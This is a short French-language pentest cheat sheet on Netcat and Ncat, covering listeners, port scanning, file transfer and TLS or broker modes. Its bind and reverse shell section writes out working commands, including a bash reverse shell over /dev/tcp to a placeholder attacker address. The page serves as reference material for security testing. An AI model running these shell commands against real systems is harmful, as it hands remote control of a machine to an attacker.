Netcat — Le couteau suisse réseau

Pentest Transfert

Qu'est-ce que Netcat ?

Netcat (nc) est un outil réseau polyvalent qui lit et écrit des données via des connexions TCP ou UDP. Surnommé le "couteau suisse du réseau", il est utilisé pour les reverse shells, le transfert de fichiers, le scan de ports, et créer des serveurs basiques.

Usages courants

# Écouter sur un port (listener)
nc -lvnp 4444

# Se connecter
nc 192.168.1.1 4444

# Scan de ports simple
nc -zv target 20-100
nc -zv target 80 443 22

# Transfert de fichier
# Destinataire :
nc -lvnp 9999 > fichier_recu
# Envoyeur :
nc 192.168.1.1 9999 < fichier_a_envoyer

Bind et Reverse Shell

# Bind shell : la cible écoute, l attaquant se connecte
# Cible :
nc -lvnp 4444 -e /bin/bash
# Attaquant :
nc target 4444

# Reverse shell : la cible se connecte à l attaquant
# Attaquant écoute :
nc -lvnp 4444
# Cible :
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Ncat (version moderne)

# Ncat supporte TLS et est plus sécurisé
ncat --ssl -lvnp 4444
ncat --ssl target 4444

# Broker : relay entre deux connexions
ncat --broker --listen -p 4444